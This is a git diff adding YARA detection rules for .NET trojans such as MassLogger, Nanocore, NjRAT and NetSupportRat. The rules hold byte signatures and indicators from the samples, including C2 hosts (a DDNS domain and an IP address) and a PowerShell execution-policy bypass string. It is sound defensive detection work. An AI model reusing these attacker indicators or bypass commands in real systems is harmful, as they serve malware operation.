Trojan_BAT_MassLogger_BR_MTB{ + meta: + description = "Trojan:BAT/MassLogger.BR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {02 11 06 11 08 6f ?? 00 00 0a 13 09 04 03 6f ?? 00 00 0a 59 13 0a 11 0a 19 fe 04 16 fe 01 13 0d 11 0d 2c 6a 00 16 13 0e 2b 00 03 19 8d ?? 00 00 01 25 16 12 09 28 ?? 00 00 0a 9c 25 17 12 09 28 ?? 00 00 0a 9c 25 18 12 09 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_BS_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_BS_MTB.yar new file mode 100644 index 0000000000..00237192e0 --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_BS_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_MassLogger_BS_MTB{ + meta: + description = "Trojan:BAT/MassLogger.BS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_03_0 = {0a 18 5d 16 fe 01 0b 19 8d ?? 00 00 01 25 16 } //2 + $a_01_1 = {04 fe 04 2b 01 16 } //1 + $a_01_2 = {5a 20 ff 00 00 00 5d } //1 + $a_01_3 = {1b fe 02 2b 01 16 } //1 + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_CE_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_CE_MTB.yar new file mode 100644 index 0000000000..b00d81170e --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_CE_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_MassLogger_CE_MTB{ + meta: + description = "Trojan:BAT/MassLogger.CE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {08 17 94 2f 09 03 6f ?? 00 00 0a 04 32 b1 07 07 61 0b 09 17 58 0d 09 08 16 94 2f 09 03 6f ?? 00 00 0a 04 } //4 + $a_03_1 = {04 16 31 0c 02 03 7b ?? 00 00 04 6f ?? 00 00 0a 04 17 31 0c 02 03 } //1 + condition: + ((#a_03_0 & 1)*4+(#a_03_1 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_CG_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_CG_MTB.yar new file mode 100644 index 0000000000..2ec157ae48 --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_CG_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_MassLogger_CG_MTB{ + meta: + description = "Trojan:BAT/MassLogger.CG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_03_0 = {59 13 1d 73 ?? 00 00 0a 13 1e 11 1e 72 ?? ?? 00 70 12 1b 28 ?? 00 00 0a 12 1b 28 ?? 00 00 0a 58 12 1b 28 ?? 00 00 0a 58 6c } //3 + $a_03_1 = {58 12 1b 28 ?? 00 00 0a 58 1f 0a 5a 58 } //1 + $a_01_2 = {11 1d 19 fe 04 16 fe 01 13 2a 11 2a 2c 5a } //1 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*1+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_EANW_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_EANW_MTB.yar new file mode 100644 index 0000000000..cdb9710710 --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_EANW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_MassLogger_EANW_MTB{ + meta: + description = "Trojan:BAT/MassLogger.EANW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {00 11 09 11 4f 16 9c 00 11 4f 17 58 13 4f 11 4f 1f 0a 11 09 8e 69 ?? ?? ?? ?? ?? fe 04 13 50 11 50 2d dd } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_EHJY_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_EHJY_MTB.yar new file mode 100644 index 0000000000..2b4e198c60 --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_EHJY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_MassLogger_EHJY_MTB{ + meta: + description = "Trojan:BAT/MassLogger.EHJY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {00 11 10 1f 0a 58 13 10 11 0c 11 2c 1f 1f 5a 58 13 0c 11 0d 11 2c 61 13 0d 11 2c 1f 32 5d 16 fe 01 13 2d 11 2d 2c 20 00 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_EHKA_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_EHKA_MTB.yar new file mode 100644 index 0000000000..4644d4c763 --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_EHKA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_MassLogger_EHKA_MTB{ + meta: + description = "Trojan:BAT/MassLogger.EHKA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {13 04 06 09 93 13 05 06 09 06 11 04 93 9d 06 11 04 11 05 9d 00 09 17 58 0d 09 06 8e 69 fe 04 13 06 11 06 2d cc } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ELLB_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ELLB_MTB.yar new file mode 100644 index 0000000000..cff22d66e6 --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ELLB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_MassLogger_ELLB_MTB{ + meta: + description = "Trojan:BAT/MassLogger.ELLB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {5d 1c 58 13 3f 17 12 3b ?? ?? ?? ?? ?? 12 3b ?? ?? ?? ?? ?? 58 12 3b ?? ?? ?? ?? ?? 58 1f 7f 5b 58 13 40 11 40 1b fe 04 16 fe 01 13 41 12 3b } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_PA_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_PA_MTB.yar new file mode 100644 index 0000000000..a8ca7c6529 --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_PA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_MassLogger_PA_MTB{ + meta: + description = "Trojan:BAT/MassLogger.PA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {25 47 09 11 08 58 1f 11 5a 20 ?? ?? 00 00 5d d2 61 d2 52 09 1f 1f 5a 08 11 08 91 58 20 ?? ?? 00 00 5d 0d 00 11 08 17 58 13 08 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_PGMR_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_PGMR_MTB.yar new file mode 100644 index 0000000000..833adde90f --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_PGMR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_MassLogger_PGMR_MTB{ + meta: + description = "Trojan:BAT/MassLogger.PGMR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {02 03 04 6f ?? 00 00 0a 0a 12 01 fe ?? ?? 00 00 02 12 01 12 00 28 ?? 00 00 0a 7d ?? 00 00 04 12 01 12 00 28 ?? 00 00 0a 7d ?? 00 00 04 12 01 12 00 28 ?? 00 00 0a 7d ?? 00 00 04 12 01 07 7b ?? 00 00 04 20 80 00 00 00 59 6c 07 7b ?? 00 00 04 20 80 00 00 00 59 6c } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_PGM_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_PGM_MTB.yar new file mode 100644 index 0000000000..3d76db3522 --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_PGM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_MassLogger_PGM_MTB{ + meta: + description = "Trojan:BAT/MassLogger.PGM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {02 11 31 11 34 6f ?? 00 00 0a 13 37 12 37 28 ?? 00 00 0a 06 61 d2 13 38 12 37 28 ?? 00 00 0a 06 61 d2 13 39 12 37 28 ?? 00 00 0a 06 61 d2 13 3a } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_WL_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_WL_MTB.yar new file mode 100644 index 0000000000..24975c8f7b --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_WL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_MassLogger_WL_MTB{ + meta: + description = "Trojan:BAT/MassLogger.WL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {0b 14 0c 73 16 00 00 0a 0d 73 17 00 00 0a 13 04 11 04 09 06 07 6f 18 00 00 0a 17 73 19 00 00 0a 13 05 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ZIS_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ZIS_MTB.yar new file mode 100644 index 0000000000..36f5265ae4 --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ZIS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_MassLogger_ZIS_MTB{ + meta: + description = "Trojan:BAT/MassLogger.ZIS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {13 12 00 02 11 2c 11 30 6f ?? 00 00 0a 13 31 11 17 12 31 28 ?? 00 00 0a 58 13 17 11 18 12 31 28 ?? 00 00 0a 58 13 18 11 19 12 31 28 ?? 00 00 0a 58 13 19 12 31 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ZQV_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ZQV_MTB.yar new file mode 100644 index 0000000000..4b65ab63dd --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ZQV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_MassLogger_ZQV_MTB{ + meta: + description = "Trojan:BAT/MassLogger.ZQV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {1b 5d 0b 07 1a 2e 0e 07 19 2e 0a 07 18 2e 06 07 17 fe 01 2b 01 17 13 05 11 05 2c 02 16 0b 28 ?? 00 00 0a 17 fe 02 0c 19 8d ?? 00 00 1b 25 16 06 fe 06 43 00 00 06 73 ?? 00 00 0a a2 25 17 06 fe 06 44 00 00 06 73 ?? 00 00 0a a2 25 18 06 fe 06 45 00 00 06 73 ?? 00 00 0a a2 0d 06 09 07 9a 7d ?? 00 00 04 06 06 fe 06 46 00 00 06 73 ?? 00 00 0a 7d 4b 00 00 04 08 13 06 11 06 2c 0b } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ZUW_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ZUW_MTB.yar new file mode 100644 index 0000000000..edddcefa0c --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ZUW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_MassLogger_ZUW_MTB{ + meta: + description = "Trojan:BAT/MassLogger.ZUW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {02 09 11 05 6f ?? 00 00 0a 13 08 00 de 0e 26 00 28 ?? 00 00 0a 13 08 dd 45 01 00 00 04 03 6f ?? 00 00 0a 59 13 09 11 04 7e ?? 00 00 0a 28 ?? 00 00 0a 13 0c 11 0c 2c 02 00 00 11 09 06 6f ?? 00 00 0a 17 58 fe 04 16 fe 01 13 0d 11 0d 2c 71 00 12 08 28 ?? 00 00 0a 16 61 d2 13 0e 12 08 28 ?? 00 00 0a 16 61 d2 13 0f 12 08 28 ?? 00 00 0a 16 61 d2 13 10 00 07 16 fe 03 13 11 11 11 2c 1f } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ZWW_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ZWW_MTB.yar new file mode 100644 index 0000000000..a37c527dbf --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ZWW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_MassLogger_ZWW_MTB{ + meta: + description = "Trojan:BAT/MassLogger.ZWW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {26 09 16 28 ?? 00 00 0a 13 04 08 16 73 ?? 00 00 0a 13 05 11 04 8d ?? 00 00 01 13 06 16 13 07 38 ?? 00 00 00 11 07 11 05 11 06 11 07 11 04 11 07 59 6f ?? 00 00 0a 58 13 07 11 07 11 04 32 e5 03 72 ?? 00 00 70 11 06 6f ?? 00 00 06 17 0b } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_Masslogger_ZET_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_Masslogger_ZET_MTB.yar new file mode 100644 index 0000000000..6d3a43d878 --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_Masslogger_ZET_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Masslogger_ZET_MTB{ + meta: + description = "Trojan:BAT/Masslogger.ZET!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {25 16 03 6f ?? 01 00 0a 0a 12 00 20 53 01 00 00 20 0c 01 00 00 28 ?? 00 00 06 9c 25 17 03 6f ?? 01 00 0a 0a 12 00 28 ?? 00 00 0a 9c 25 18 03 } //6 + $a_03_1 = {9c 2b 21 19 8d ?? 00 00 01 25 16 03 6f ?? 01 00 0a 9c 25 17 03 6f ?? 01 00 0a 9c 25 18 03 6f ?? 01 00 0a 9c 73 ?? 01 00 0a 2a } //5 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_Masslogger_ZSY_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_Masslogger_ZSY_MTB.yar new file mode 100644 index 0000000000..3f960391e1 --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_Masslogger_ZSY_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Masslogger_ZSY_MTB{ + meta: + description = "Trojan:BAT/Masslogger.ZSY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {06 72 47 00 00 70 28 ?? 00 00 0a 6f ?? 00 00 0a 06 6f ?? 00 00 0a 0b 73 ?? 00 00 0a 0c 08 07 17 73 ?? 00 00 0a 0d 09 03 16 03 8e 69 6f ?? 00 00 0a 09 6f ?? 00 00 0a 08 } //10 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/ModiRat/Trojan_BAT_ModiRat_AMO_MTB.yar b/Trojan/BAT/ModiRat/Trojan_BAT_ModiRat_AMO_MTB.yar new file mode 100644 index 0000000000..6aa18bef3b --- /dev/null +++ b/Trojan/BAT/ModiRat/Trojan_BAT_ModiRat_AMO_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_ModiRat_AMO_MTB{ + meta: + description = "Trojan:BAT/ModiRat.AMO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {0b 16 0c 08 28 ?? 00 00 06 20 01 80 ff ff fe 01 0d 09 2c 54 08 13 04 02 11 04 28 ?? 00 00 06 13 05 11 05 6f ?? 00 00 0a 16 fe 02 13 06 11 06 2c 2d 02 } //2 + $a_01_1 = {6d 00 79 00 68 00 6f 00 75 00 73 00 65 00 63 00 61 00 6d 00 2e 00 64 00 64 00 6e 00 73 00 2e 00 6e 00 65 00 74 00 } //3 myhousecam.ddns.net + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*3) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Msilheracles/Trojan_BAT_Msilheracles_PGM_MTB.yar b/Trojan/BAT/Msilheracles/Trojan_BAT_Msilheracles_PGM_MTB.yar new file mode 100644 index 0000000000..22f169a72b --- /dev/null +++ b/Trojan/BAT/Msilheracles/Trojan_BAT_Msilheracles_PGM_MTB.yar @@ -0,0 +1,24 @@ + +rule Trojan_BAT_Msilheracles_PGM_MTB{ + meta: + description = "Trojan:BAT/Msilheracles.PGM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_80_0 = {49 55 64 6c 74 48 47 59 64 67 50 5a 65 49 61 4e 4e 49 72 4a 76 58 6d 4c 6c 64 2e 6b 6a 76 76 45 48 79 4f 6d 79 53 46 45 59 64 6c 66 45 79 4d 78 52 49 7a 68 4f 6e } //IUdltHGYdgPZeIaNNIrJvXmLld.kjvvEHyOmySFEYdlfEyMxRIzhOn 1 + $a_80_1 = {65 4f 6d 6e 57 61 42 54 76 4d 43 77 4e 46 51 63 77 6c 5a 41 53 76 79 45 57 4a 52 } //eOmnWaBTvMCwNFQcwlZASvyEWJR 4 + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*4) >=5 + +} +rule Trojan_BAT_Msilheracles_PGM_MTB_2{ + meta: + description = "Trojan:BAT/Msilheracles.PGM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_80_0 = {6c 55 71 39 53 52 66 59 48 38 4b 6b 45 7a 4e 4b 46 7a 51 70 39 73 61 54 49 4b 64 58 30 44 6d 6e 52 68 33 4c 4f 33 4b 61 52 4d 49 3d } //lUq9SRfYH8KkEzNKFzQp9saTIKdX0DmnRh3LO3KaRMI= 2 + $a_80_1 = {77 5a 6b 35 4e 36 72 39 46 76 53 32 49 59 4d 52 33 51 51 70 73 51 3d 3d } //wZk5N6r9FvS2IYMR3QQpsQ== 2 + $a_01_2 = {46 44 37 34 41 46 46 42 33 46 41 44 43 32 46 46 33 30 42 33 30 43 32 30 35 33 43 33 31 36 39 31 37 35 46 34 38 42 44 33 42 32 38 32 42 32 45 37 41 30 46 43 36 45 34 33 36 46 33 39 42 33 36 36 } //1 FD74AFFB3FADC2FF30B30C2053C3169175F48BD3B282B2E7A0FC6E436F39B366 + condition: + ((#a_80_0 & 1)*2+(#a_80_1 & 1)*2+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Nanocore/Trojan_BAT_Nanocore_ATRA_MTB.yar b/Trojan/BAT/Nanocore/Trojan_BAT_Nanocore_ATRA_MTB.yar new file mode 100644 index 0000000000..5138434079 --- /dev/null +++ b/Trojan/BAT/Nanocore/Trojan_BAT_Nanocore_ATRA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_Nanocore_ATRA_MTB{ + meta: + description = "Trojan:BAT/Nanocore.ATRA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 04 00 00 " + + strings : + $a_03_0 = {0a 13 15 00 11 15 17 6f ?? 00 00 0a 00 11 15 18 6f ?? 00 00 0a 00 11 15 09 6f ?? 00 00 0a 00 11 15 11 09 6f ?? 00 00 0a 00 11 15 6f ?? 00 00 0a 11 0a 16 11 0a 8e 69 6f ?? 00 00 0a 13 0c 00 de 0d } //5 + $a_03_1 = {06 11 0f 7e ?? 00 00 04 11 0f 91 7e ?? 00 00 04 61 d2 9c 11 0f 17 58 13 0f 11 0f 7e ?? 00 00 04 8e 69 fe 04 13 10 11 10 2d d6 } //2 + $a_01_2 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_3 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/Nekark/Trojan_BAT_Nekark_AYB_MTB.yar b/Trojan/BAT/Nekark/Trojan_BAT_Nekark_AYB_MTB.yar new file mode 100644 index 0000000000..0625447d3c --- /dev/null +++ b/Trojan/BAT/Nekark/Trojan_BAT_Nekark_AYB_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_BAT_Nekark_AYB_MTB{ + meta: + description = "Trojan:BAT/Nekark.AYB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_01_0 = {5c 49 43 61 6e 74 54 68 69 6e 6b 4f 66 41 4e 61 6d 65 4c 6d 61 6f 5c 6f 62 6a 5c 44 65 62 75 67 5c 49 43 61 6e 74 54 68 69 6e 6b 4f 66 41 4e 61 6d 65 4c 6d 61 6f 2e 70 64 62 } //2 \ICantThinkOfANameLmao\obj\Debug\ICantThinkOfANameLmao.pdb + $a_00_1 = {61 00 61 00 61 00 5f 00 54 00 6f 00 75 00 63 00 68 00 4d 00 65 00 4e 00 6f 00 74 00 5f 00 2e 00 74 00 78 00 74 00 } //1 aaa_TouchMeNot_.txt + $a_00_2 = {48 00 65 00 6c 00 6c 00 6f 00 20 00 62 00 79 00 20 00 72 00 75 00 6e 00 6e 00 69 00 6e 00 67 00 20 00 74 00 68 00 69 00 73 00 20 00 66 00 69 00 6c 00 65 00 20 00 79 00 6f 00 75 00 72 00 20 00 61 00 67 00 72 00 65 00 65 00 20 00 74 00 6f 00 20 00 73 00 6f 00 6d 00 65 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 6d 00 61 00 79 00 20 00 62 00 65 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 64 00 20 00 6f 00 72 00 20 00 6c 00 6f 00 73 00 74 00 } //1 Hello by running this file your agree to some files may be deleted or lost + $a_00_3 = {4d 00 6f 00 76 00 69 00 6e 00 67 00 20 00 61 00 6e 00 64 00 20 00 68 00 69 00 64 00 69 00 6e 00 67 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 66 00 72 00 6f 00 6d 00 20 00 44 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 73 00 2e 00 2e 00 2e 00 } //1 Moving and hiding files from Documents... + $a_01_4 = {4d 6f 76 65 41 6e 64 48 69 64 65 46 69 6c 65 73 } //1 MoveAndHideFiles + condition: + ((#a_01_0 & 1)*2+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_01_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/NetSupportRat/Trojan_BAT_NetSupportRat_ANR_MTB.yar b/Trojan/BAT/NetSupportRat/Trojan_BAT_NetSupportRat_ANR_MTB.yar new file mode 100644 index 0000000000..42a42eaaf7 --- /dev/null +++ b/Trojan/BAT/NetSupportRat/Trojan_BAT_NetSupportRat_ANR_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_NetSupportRat_ANR_MTB{ + meta: + description = "Trojan:BAT/NetSupportRat.ANR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {6a 33 02 de 46 06 28 ?? 00 00 0a 26 06 28 ?? 00 00 06 26 72 ?? 00 00 70 28 ?? 00 00 06 0d 09 2c 04 09 8e ?? 02 de 24 09 06 28 ?? 00 00 06 06 28 } //2 + $a_01_1 = {31 00 38 00 35 00 2e 00 31 00 34 00 39 00 2e 00 31 00 34 00 36 00 2e 00 37 00 33 00 } //5 185.149.146.73 + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*5) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/NetWire/Trojan_BAT_Netwire_CH_MTB.yar b/Trojan/BAT/NetWire/Trojan_BAT_Netwire_CH_MTB.yar new file mode 100644 index 0000000000..fe26f01f10 --- /dev/null +++ b/Trojan/BAT/NetWire/Trojan_BAT_Netwire_CH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Netwire_CH_MTB{ + meta: + description = "Trojan:BAT/Netwire.CH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {6a 5f 6d 0b 11 04 06 95 13 06 11 04 06 11 04 07 95 9e 11 04 07 11 06 9e 09 11 07 02 11 07 91 11 04 11 04 06 95 11 04 07 95 58 6e 20 ?? ?? ?? ?? 6a 5f 69 95 61 d2 9c 00 11 07 17 58 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/NjRat/Trojan_BAT_NjRAT_GPPG_MTB.yar b/Trojan/BAT/NjRat/Trojan_BAT_NjRAT_GPPG_MTB.yar new file mode 100644 index 0000000000..ff23e0d897 --- /dev/null +++ b/Trojan/BAT/NjRat/Trojan_BAT_NjRAT_GPPG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_NjRAT_GPPG_MTB{ + meta: + description = "Trojan:BAT/NjRAT.GPPG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 00 " + + strings : + $a_01_0 = {09 11 04 91 13 05 00 07 06 11 05 20 05 b9 } //4 + condition: + ((#a_01_0 & 1)*4) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/NjRat/Trojan_BAT_NjRAT_NMK_MTB.yar b/Trojan/BAT/NjRat/Trojan_BAT_NjRAT_NMK_MTB.yar new file mode 100644 index 0000000000..8ca1ae91f7 --- /dev/null +++ b/Trojan/BAT/NjRat/Trojan_BAT_NjRAT_NMK_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_BAT_NjRAT_NMK_MTB{ + meta: + description = "Trojan:BAT/NjRAT.NMK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 00 " + + strings : + $a_81_0 = {46 75 63 6b 43 72 79 70 74 2e 52 65 73 6f 75 72 63 65 73 } //2 FuckCrypt.Resources + $a_81_1 = {68 74 74 70 73 3a 2f 2f 70 61 73 74 65 62 69 6e 2e } //1 https://pastebin. + $a_81_2 = {63 79 62 65 72 2d 70 61 73 73 77 6f 72 64 2d 66 72 65 65 70 69 6b } //1 cyber-password-freepik + $a_81_3 = {55 70 43 72 79 5c 6f 62 6a 5c 44 65 62 75 67 5c 46 75 63 6b 43 72 79 70 74 2e 70 64 62 } //1 UpCry\obj\Debug\FuckCrypt.pdb + $a_81_4 = {41 74 69 20 56 6d 77 61 72 65 2c 20 56 69 72 74 75 61 6c 42 6f 78 } //1 Ati Vmware, VirtualBox + $a_81_5 = {5b 73 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 [system.Convert]::FromBase64String + $a_81_6 = {70 6f 77 65 72 73 68 65 6c 6c 20 2d 45 78 65 63 75 74 69 6f 6e 50 6f 6c 69 63 79 20 42 79 70 61 73 73 20 2d 46 69 6c 65 } //1 powershell -ExecutionPolicy Bypass -File + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 